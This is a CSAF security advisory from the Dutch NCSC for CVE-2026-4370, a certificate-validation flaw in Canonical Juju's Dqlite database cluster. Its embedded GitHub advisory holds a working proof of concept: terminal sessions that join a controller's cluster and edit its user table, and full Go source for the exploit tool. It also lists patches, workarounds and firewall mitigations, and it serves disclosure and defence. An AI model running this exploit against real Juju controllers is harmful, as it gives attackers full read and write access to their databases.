{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-4370",
        "tracking": {
            "current_release_date": "2026-04-02T21:27:38.867463Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-4370",
            "initial_release_date": "2026-04-01T08:38:46.645183Z",
            "revision_history": [
                {
                    "date": "2026-04-01T08:38:46.645183Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (2).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-04-01T08:38:49.353249Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-04-01T09:25:45.370762Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-04-01T09:25:47.354736Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-01T11:36:29.927091Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-01T13:39:18.154749Z",
                    "number": "6",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-04-01T15:03:56.948437Z",
                    "number": "7",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-04-01T15:04:01.464266Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-02T00:43:56.222781Z",
                    "number": "9",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-04-02T00:43:59.428415Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-02T21:27:26.926402Z",
                    "number": "11",
                    "summary": "Products created (2).| Product Identifiers created (2).| Exploits created (1)."
                },
                {
                    "date": "2026-04-02T21:27:37.797617Z",
                    "number": "12",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "12"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:semver/3.2.0|<3.6.20",
                                "product": {
                                    "name": "vers:semver/3.2.0|<3.6.20",
                                    "product_id": "CSAFPID-5971371"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:semver/4.0|<4.0.4",
                                "product": {
                                    "name": "vers:semver/4.0|<4.0.4",
                                    "product_id": "CSAFPID-5971372"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=3.2.0|<3.6.20",
                                "product": {
                                    "name": "vers:unknown/>=3.2.0|<3.6.20",
                                    "product_id": "CSAFPID-5985727",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=4.0|<4.0.5",
                                "product": {
                                    "name": "vers:unknown/>=4.0|<4.0.5",
                                    "product_id": "CSAFPID-5985728",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Juju"
                    }
                ],
                "category": "vendor",
                "name": "Canonical"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-4370",
            "cwe": {
                "id": "CWE-295",
                "name": "Improper Certificate Validation"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "A vulnerability was identified in Juju from version 3.2.0 until 3.6.19 and from version 4.0 until 4.0.4, where the internal Dqlite database cluster fails to perform proper TLS client and server authentication. Specifically, the Juju controller's database endpoint does not validate client certificates when a new node attempts to join the cluster. An unauthenticated attacker with network reachability to the Juju controller's Dqlite port can exploit this flaw to join the database cluster. Once joined, the attacker gains full read and write access to the underlying database, allowing for total data compromise.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/4xxx/CVE-2026-4370.json"
                },
                {
                    "category": "description",
                    "text": "A vulnerability was identified in Juju from version 3.2.0 until 3.6.19 and from version 4.0 until 4.0.4, where the internal Dqlite database cluster fails to perform proper TLS client and server authentication. Specifically, the Juju controller's database endpoint does not validate client certificates when a new node attempts to join the cluster. An unauthenticated attacker with network reachability to the Juju controller's Dqlite port can exploit this flaw to join the database cluster. Once joined, the attacker gains full read and write access to the underlying database, allowing for total data compromise.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-4370"
                },
                {
                    "category": "description",
                    "text": "### Impact\nAny Juju controller since 3.2.0.\n\nAn attacker with only route-ability to the target juju controller Dqlite cluster endpoint may join the Dqlite cluster, read and modify all information, including escalating privileges, open firewall ports etc.\n\nThis is due to not checking the client certificate, additionally, the client does not check the server's certificate (MITM attack possible), so anything goes.\n\nhttps://github.com/juju/juju/blob/001318f51ac456602aef20b123684f1eeeae9a77/internal/database/node.go#L312-L324\n\n#### PoC\nUsing the tool referenced below.\n\nBootstrap a controller and show the users:\n```\n$ juju bootstrap lxd a\nCreating Juju controller \"a\" on lxd/localhost\nLooking for packaged Juju agent version 4.0.4 for amd64\n<...>\nLaunching controller instance(s) on localhost/localhost...\n - juju-fefd2b-0 (arch=amd64)\nInstalling Juju agent on bootstrap instance\nWaiting for address\nAttempting to connect to 10.151.236.15:22\n<...>\nContacting Juju controller at 10.151.236.15 to verify accessibility...\n\nBootstrap complete, controller \"a\" is now available\nController machines are in the \"controller\" model\n\nNow it's possible to run\n\tjuju add-model <model-name>\nto create a new model to deploy workloads.\n$ juju users\nController: a\n\nName               Display name  Access     Date created  Last connection\nadmin*             admin         superuser  1 minute ago  just now\njuju-metrics       Juju Metrics  login      1 minute ago  never connected\neveryone@external\n```\n\nJoin the cluster with the first cluster member:\n```\n$ dqlite-demo --db 192.168.1.25:9999 --join 10.151.236.15:17666\ndqlite interactive shell.\nEnter SQL statements terminated with a semicolon.\nMeta-commands: .switch <database>  .close  .exit\n\nConnected to database \"demo\".\ndemo>\n```\n\nJoin the cluster with another cluster member and give the admin a new name:\n```\ndqlite-demo --db 192.168.1.25:9998 --join 10.151.236.15:17666\ndqlite interactive shell.\nEnter SQL statements terminated with a semicolon.\nMeta-commands: .switch <database>  .close  .exit\n\nConnected to database \"demo\".\ndemo> .switch controller\nConnected to database \"controller\".\ncontroller> select * from user;\nuuid                                 | name              | display_name | external | removed | created_by_uuid                      | created_at\n-------------------------------------+-------------------+--------------+----------+---------+--------------------------------------+----------------------------------------\n9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | admin             | admin        | false    | false   | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:25.816694339 +0000 UTC\n4e1d65ae-564e-4c0e-8ef6-da8b7fb69b53 | juju-metrics      | Juju Metrics | false    | false   | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:26.76549689 +0000 UTC\n384c57af-57b1-40be-8e6e-7360371895d3 | everyone@external |              | true     | false   | 9d5c7126-1401-4ce6-8603-6a6b5ac90d23 | 2026-03-17 06:38:26.770215095 +0000 UTC\n(3 row(s))\ncontroller> update user set display_name='Silly Admin' where name='admin';\nOK (1 row(s) affected)\ncontroller>\n```\n\nThe admin won't like this new name:\n```\n$ juju users\nController: a\n\nName               Display name  Access     Date created   Last connection\nadmin*             Silly Admin   superuser  6 minutes ago  just now\njuju-metrics       Juju Metrics  login      6 minutes ago  never connected\neveryone@external\n```\n\n### Patches\nJuju versions 3.6.20 and 4.0.5 are patched to fix this issue.\n\n### Workarounds\nEither:\na. Configure restrictive firewall rules and use a trusted network fabric for Juju controllers in HA. Port 17666 must only be connected to by other controller IP addresses.\nb. Disable HA by reducing to one Juju controller, block incoming connections to port 17666 and outgoing connections to any port 17666.\n\n### Resources\nhttps://github.com/juju/juju/blob/001318f51ac456602aef20b123684f1eeeae9a77/internal/database/node.go#L312-L324\n\n### PoC Tool\n\nBased on the go-dqlite demo app.\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"crypto/ecdsa\"\n\t\"crypto/elliptic\"\n\t\"crypto/rand\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"crypto/x509/pkix\"\n\t\"database/sql\"\n\t\"encoding/pem\"\n\t\"fmt\"\n\t\"log\"\n\t\"math/big\"\n\t\"net\"\n\t\"os\"\n\t\"os/signal\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/canonical/go-dqlite/v3/app\"\n\t\"github.com/canonical/go-dqlite/v3/client\"\n\t\"github.com/peterh/liner\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/spf13/cobra\"\n\t\"golang.org/x/sys/unix\"\n)\n\nfunc generateSelfSignedCert() (tls.Certificate, error) {\n\tkey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)\n\tif err != nil {\n\t\treturn tls.Certificate{}, fmt.Errorf(\"generate key: %w\", err)\n\t}\n\n\ttmpl := &x509.Certificate{\n\t\tSerialNumber: big.NewInt(1),\n\t\tSubject:      pkix.Name{CommonName: \"lol\"},\n\t\tNotBefore:    time.Now(),\n\t\tNotAfter:     time.Now().Add(365 * 24 * time.Hour),\n\t\tKeyUsage:     x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,\n\t\tExtKeyUsage:  []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},\n\t\tIPAddresses:  []net.IP{net.ParseIP(\"127.0.0.1\")},\n\t\tDNSNames:     []string{\"lol\"},\n\t}\n\n\tcertDER, err := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &key.PublicKey, key)\n\tif err != nil {\n\t\treturn tls.Certificate{}, fmt.Errorf(\"create cert: %w\", err)\n\t}\n\n\tkeyDER, err := x509.MarshalECPrivateKey(key)\n\tif err != nil {\n\t\treturn tls.Certificate{}, fmt.Errorf(\"marshal key: %w\", err)\n\t}\n\n\tcertPEM := pem.EncodeToMemory(&pem.Block{Type: \"CERTIFICATE\", Bytes: certDER})\n\tkeyPEM := pem.EncodeToMemory(&pem.Block{Type: \"EC PRIVATE KEY\", Bytes: keyDER})\n\n\treturn tls.X509KeyPair(certPEM, keyPEM)\n}\n\n// runREPL runs an interactive SQL REPL against the given dqlite app.\n// It supports multi-line statements (terminated by ';') and the meta-commands\n// .switch <database>, .close, and .exit.\nfunc runREPL(ctx context.Context, dqliteApp *app.App, initialDBName string, line *liner.State) error {\n\tvar currentDB *sql.DB\n\tvar currentDBName string\n\n\topenDB := func(name string) error {\n\t\tif currentDB != nil {\n\t\t\tif err := currentDB.Close(); err != nil {\n\t\t\t\tfmt.Fprintf(os.Stderr, \"Warning: closing previous database: %v\\n\", err)\n\t\t\t}\n\t\t\tcurrentDB = nil\n\t\t\tcurrentDBName = \"\"\n\t\t}\n\t\tdb, err := dqliteApp.Open(ctx, name)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"open database %q: %w\", name, err)\n\t\t}\n\t\tcurrentDB = db\n\t\tcurrentDBName = name\n\t\tfmt.Printf(\"Connected to database %q.\\n\", name)\n\t\treturn nil\n\t}\n\n\tdefer func() {\n\t\tif currentDB != nil {\n\t\t\tcurrentDB.Close()\n\t\t}\n\t}()\n\n\tfmt.Println(\"dqlite interactive shell.\")\n\tfmt.Println(\"Enter SQL statements terminated with a semicolon.\")\n\tfmt.Println(\"Meta-commands: .switch <database>  .close  .exit\")\n\tfmt.Println()\n\n\tif initialDBName != \"\" {\n\t\tif err := openDB(initialDBName); err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tfmt.Println(\"No database selected. Use .switch <database> to open one.\")\n\t}\n\n\tprompt := func(multiline bool) string {\n\t\tif multiline {\n\t\t\treturn \"   ...> \"\n\t\t}\n\t\tif currentDBName != \"\" {\n\t\t\treturn currentDBName + \"> \"\n\t\t}\n\t\treturn \"(no db)> \"\n\t}\n\n\tvar buf strings.Builder\n\n\tfor {\n\t\tinput, err := line.Prompt(prompt(buf.Len() > 0))\n\t\tif err != nil {\n\t\t\tif err == liner.ErrPromptAborted {\n\t\t\t\tif buf.Len() > 0 {\n\t\t\t\t\tbuf.Reset()\n\t\t\t\t\tfmt.Println(\"(statement aborted)\")\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// EOF (Ctrl-D) or liner closed externally — exit cleanly.\n\t\t\tfmt.Println()\n\t\t\tbreak\n\t\t}\n\n\t\tif input != \"\" {\n\t\t\tline.AppendHistory(input)\n\t\t}\n\n\t\ttrimmed := strings.TrimSpace(input)\n\t\tif trimmed == \"\" {\n\t\t\tcontinue\n\t\t}\n\n\t\t// Meta-commands are only recognised at the start of a fresh statement.\n\t\tif buf.Len() == 0 && strings.HasPrefix(trimmed, \".\") {\n\t\t\tparts := strings.Fields(trimmed)\n\t\t\tswitch parts[0] {\n\t\t\tcase \".exit\":\n\t\t\t\treturn nil\n\n\t\t\tcase \".close\":\n\t\t\t\tif currentDB != nil {\n\t\t\t\t\tif err := currentDB.Close(); err != nil {\n\t\t\t\t\t\tfmt.Fprintf(os.Stderr, \"Error closing database: %v\\n\", err)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tfmt.Printf(\"Database %q closed.\\n\", currentDBName)\n\t\t\t\t\t}\n\t\t\t\t\tcurrentDB = nil\n\t\t\t\t\tcurrentDBName = \"\"\n\t\t\t\t} else {\n\t\t\t\t\tfmt.Println(\"No database is currently open.\")\n\t\t\t\t}\n\n\t\t\tcase \".switch\":\n\t\t\t\tif len(parts) < 2 {\n\t\t\t\t\tfmt.Fprintln(os.Stderr, \"Usage: .switch <database>\")\n\t\t\t\t} else {\n\t\t\t\t\tif err := openDB(parts[1]); err != nil {\n\t\t\t\t\t\tfmt.Fprintf(os.Stderr, \"Error: %v\\n\", err)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\tdefault:\n\t\t\t\tfmt.Fprintf(os.Stderr, \"Unknown meta-command: %s\\n\", parts[0])\n\t\t\t\tfmt.Fprintln(os.Stderr, \"Available meta-commands: .switch <database>  .close  .exit\")\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\t// Accumulate SQL across lines.\n\t\tif buf.Len() > 0 {\n\t\t\tbuf.WriteByte('\\n')\n\t\t}\n\t\tbuf.WriteString(input)\n\n\t\t// Execute once the statement is terminated with a semicolon.\n\t\tstmt := strings.TrimSpace(buf.String())\n\t\tif strings.HasSuffix(stmt, \";\") {\n\t\t\tbuf.Reset()\n\t\t\tif currentDB == nil {\n\t\t\t\tfmt.Fprintln(os.Stderr, \"Error: no database open. Use .switch <database> to open one.\")\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err := execSQL(currentDB, stmt); err != nil {\n\t\t\t\tfmt.Fprintf(os.Stderr, \"Error: %v\\n\", err)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// execSQL dispatches to execQuery or execStatement based on the leading keyword.\nfunc execSQL(db *sql.DB, stmt string) error {\n\t// Trim the trailing semicolon just for the prefix check.\n\tupper := strings.ToUpper(strings.TrimSpace(strings.TrimSuffix(strings.TrimSpace(stmt), \";\")))\n\tswitch {\n\tcase strings.HasPrefix(upper, \"SELECT\"),\n\t\tstrings.HasPrefix(upper, \"WITH\"),\n\t\tstrings.HasPrefix(upper, \"PRAGMA\"),\n\t\tstrings.HasPrefix(upper, \"EXPLAIN\"):\n\t\treturn execQuery(db, stmt)\n\tdefault:\n\t\treturn execStatement(db, stmt)\n\t}\n}\n\n// execQuery runs a statement expected to return rows and prints them as a table.\nfunc execQuery(db *sql.DB, stmt string) error {\n\trows, err := db.Query(stmt)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer rows.Close()\n\n\tcols, err := rows.Columns()\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(cols) == 0 {\n\t\tfmt.Println(\"OK\")\n\t\treturn nil\n\t}\n\n\t// Initialise column widths from the header names.\n\twidths := make([]int, len(cols))\n\tfor i, c := range cols {\n\t\twidths[i] = len(c)\n\t}\n\n\t// Scan all rows into memory so we can compute column widths before printing.\n\tvals := make([]interface{}, len(cols))\n\tvalPtrs := make([]interface{}, len(cols))\n\tfor i := range vals {\n\t\tvalPtrs[i] = &vals[i]\n\t}\n\n\tvar allRows [][]string\n\tfor rows.Next() {\n\t\tif err := rows.Scan(valPtrs...); err != nil {\n\t\t\treturn err\n\t\t}\n\t\trow := make([]string, len(cols))\n\t\tfor i, v := range vals {\n\t\t\tif v == nil {\n\t\t\t\trow[i] = \"NULL\"\n\t\t\t} else {\n\t\t\t\trow[i] = fmt.Sprintf(\"%v\", v)\n\t\t\t}\n\t\t\tif len(row[i]) > widths[i] {\n\t\t\t\twidths[i] = len(row[i])\n\t\t\t}\n\t\t}\n\t\tallRows = append(allRows, row)\n\t}\n\tif err := rows.Err(); err != nil {\n\t\treturn err\n\t}\n\n\tprintRow(cols, widths)\n\tprintSeparator(widths)\n\tfor _, row := range allRows {\n\t\tprintRow(row, widths)\n\t}\n\tfmt.Printf(\"(%d row(s))\\n\", len(allRows))\n\treturn nil\n}\n\n// execStatement runs a non-SELECT statement and prints the rows-affected count.\nfunc execStatement(db *sql.DB, stmt string) error {\n\tresult, err := db.Exec(stmt)\n\tif err != nil {\n\t\treturn err\n\t}\n\taffected, err := result.RowsAffected()\n\tif err != nil {\n\t\tfmt.Println(\"OK\")\n\t\treturn nil\n\t}\n\tfmt.Printf(\"OK (%d row(s) affected)\\n\", affected)\n\treturn nil\n}\n\nfunc printRow(vals []string, widths []int) {\n\tparts := make([]string, len(vals))\n\tfor i, v := range vals {\n\t\tparts[i] = fmt.Sprintf(\"%-*s\", widths[i], v)\n\t}\n\tfmt.Println(strings.Join(parts, \" | \"))\n}\n\nfunc printSeparator(widths []int) {\n\tparts := make([]string, len(widths))\n\tfor i, w := range widths {\n\t\tparts[i] = strings.Repeat(\"-\", w)\n\t}\n\tfmt.Println(strings.Join(parts, \"-+-\"))\n}\n\nfunc main() {\n\tvar db string\n\tvar join *[]string\n\tvar dir string\n\tvar verbose bool\n\tvar dbName string\n\n\tcmd := &cobra.Command{\n\t\tUse:   \"dqlite-demo\",\n\t\tShort: \"Interactive dqlite SQL REPL\",\n\t\tLong: `An interactive SQL REPL backed by a dqlite cluster node.\n\nType SQL statements terminated with a semicolon (;) to execute them.\nStatements can span multiple lines.\n\nMeta-commands:\n  .switch <database>   Open (or switch to) a named database\n  .close               Close the current database connection\n  .exit                Exit the REPL\n\nComplete documentation is available at https://github.com/canonical/go-dqlite`,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tnodeDir := filepath.Join(dir, db)\n\t\t\tif err := os.MkdirAll(nodeDir, 0755); err != nil {\n\t\t\t\treturn errors.Wrapf(err, \"can't create %s\", nodeDir)\n\t\t\t}\n\n\t\t\tlogFunc := func(l client.LogLevel, format string, a ...interface{}) {\n\t\t\t\tif !verbose {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tlog.Printf(fmt.Sprintf(\"%s: %s: %s\\n\", db, l.String(), format), a...)\n\t\t\t}\n\n\t\t\tcart, err := generateSelfSignedCert()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\toptions := []app.Option{\n\t\t\t\tapp.WithAddress(db),\n\t\t\t\tapp.WithCluster(*join),\n\t\t\t\tapp.WithLogFunc(logFunc),\n\t\t\t\tapp.WithTLS(&tls.Config{\n\t\t\t\t\tInsecureSkipVerify: true,\n\t\t\t\t\tClientCAs:          x509.NewCertPool(),\n\t\t\t\t\tCertificates:       []tls.Certificate{cart},\n\t\t\t\t}, &tls.Config{\n\t\t\t\t\tInsecureSkipVerify: true,\n\t\t\t\t}),\n\t\t\t}\n\n\t\t\tdqliteApp, err := app.New(nodeDir, options...)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tdefer func() {\n\t\t\t\tdqliteApp.Handover(context.Background())\n\t\t\t\tdqliteApp.Close()\n\t\t\t}()\n\n\t\t\tif err := dqliteApp.Ready(context.Background()); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tline := liner.NewLiner()\n\t\t\tline.SetCtrlCAborts(true)\n\t\t\tdefer line.Close()\n\n\t\t\t// Forward termination signals by closing the liner, which causes\n\t\t\t// Prompt() to return and the REPL loop to exit cleanly.\n\t\t\tsigCh := make(chan os.Signal, 32)\n\t\t\tsignal.Notify(sigCh, unix.SIGPWR, unix.SIGQUIT, unix.SIGTERM)\n\t\t\tgo func() {\n\t\t\t\t<-sigCh\n\t\t\t\tline.Close()\n\t\t\t}()\n\n\t\t\treturn runREPL(context.Background(), dqliteApp, dbName, line)\n\t\t},\n\t}\n\n\tflags := cmd.Flags()\n\tflags.StringVarP(&db, \"db\", \"d\", \"\", \"address used for internal database replication\")\n\tjoin = flags.StringSliceP(\"join\", \"j\", nil, \"database addresses of existing nodes\")\n\tflags.StringVarP(&dir, \"dir\", \"D\", \"/tmp/dqlite-demo\", \"data directory\")\n\tflags.BoolVarP(&verbose, \"verbose\", \"v\", false, \"verbose logging\")\n\tflags.StringVarP(&dbName, \"name\", \"n\", \"controller\", \"initial database name to open on startup\")\n\n\tcmd.MarkFlagRequired(\"db\")\n\n\tif err := cmd.Execute(); err != nil {\n\t\tos.Exit(1)\n\t}\n}\n```\n## Mitigation\n\nThe strongest protection is to apply the security updates. The following mitigations have also been explored. If security updates cannot be applied, you should only apply the following steps as a last resort and restore the original configuration file once updates are applied. Please note that modifying configuration files may stop future unattended upgrades from completing successfully, until these are reverted to the original content.\n\nOption 1: Disable the HA (High Availability) controller. If your environment does not strictly require HA, reducing the cluster to a single controller removes the need for DQlite replication. Moreover, the port that replicates the vulnerability should be blocked, namely 17666.\nOption 2: Restrict what IPs can communicate with port 17666, by implementing firewall rules to block all ingress traffic to this port. Only Juju controller IPs should be able to connect to this port.\n\nTo restrict access to the DQlite port to just the set of controller IPs, here's an example using ufw for a machine controller. This needs to be run on each controller. If the controller nodes change configuration, the rules will need to be updated accordingly.\nYou will need to enable access to the controller API port 17070 in accordance with your requirements for allowing clients to connect to the Juju controllers.\n\n```\n# Retrict access to the Dqlite port.\nsudo ufw allow from <controllerip1> to any port 17666 proto tcp\nsudo ufw allow from <controllerip2> to any port 17666 proto tcp\nsudo ufw allow from <controllerip3> to any port 17666 proto tcp\nsudo ufw deny 17666/tcp\n# Similarly, the mongo db port needs to allow controller access.\nsudo ufw allow from <controllerip1> to any port 37017 proto tcp\nsudo ufw allow from <controllerip2> to any port 37017 proto tcp\nsudo ufw allow from <controllerip3> to any port 37017 proto tcp\nsudo ufw deny 37017/tcp\n# Allow access to the controller API port.\nsudo ufw allow from <your cidr goes here> to any port 17070 proto tcp\n# Allow access to the controller SSH port.\nsudo ufw allow from <your cidr goes here> to any port 22 proto tcp\n# Ensure the firewall is enabled.\nsudo ufw enable\n# Check that the rules have been added correctly.\nsudo ufw status\n```\n\nFor Kubernetes controllers, HA is not supported. We recommend blocking access to port 17666. One way is to apply a network policy:\n\n```\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: controller-0-17666-only-itself\n  namespace: <your controller namespace goes here>\nspec:\n  podSelector:\n    matchLabels:\n      app: controller\n      statefulset.kubernetes.io/pod-name: controller-0\n  policyTypes:\n    - Ingress\n  ingress:\n    - from:\n        - podSelector:\n            matchLabels:\n              app: controller\n              statefulset.kubernetes.io/pod-name: controller-0\n      ports:\n        - protocol: TCP\n          port: 17666\n```",
                    "title": "github - https://api.github.com/advisories/GHSA-gvrj-cjch-728p"
                },
                {
                    "category": "other",
                    "text": "0.00035",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "4.5",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to a product by vendor Canonical",
                    "title": "NCSC Score top increasing factors"
                },
                {
                    "category": "other",
                    "text": "Is related to (a version of) an uncommon product, There is exploit data available from source Nvd, Exploit code publicly available",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5971371",
                    "CSAFPID-5971372",
                    "CSAFPID-5985727",
                    "CSAFPID-5985728"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/4xxx/CVE-2026-4370.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-4370"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-gvrj-cjch-728p"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/juju/juju/security/advisories/GHSA-gvrj-cjch-728p"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4370"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-gvrj-cjch-728p"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
                        "baseScore": 10.0,
                        "baseSeverity": "CRITICAL"
                    },
                    "products": [
                        "CSAFPID-5971371",
                        "CSAFPID-5971372",
                        "CSAFPID-5985727",
                        "CSAFPID-5985728"
                    ]
                }
            ],
            "title": "CVE-2026-4370"
        }
    ]
}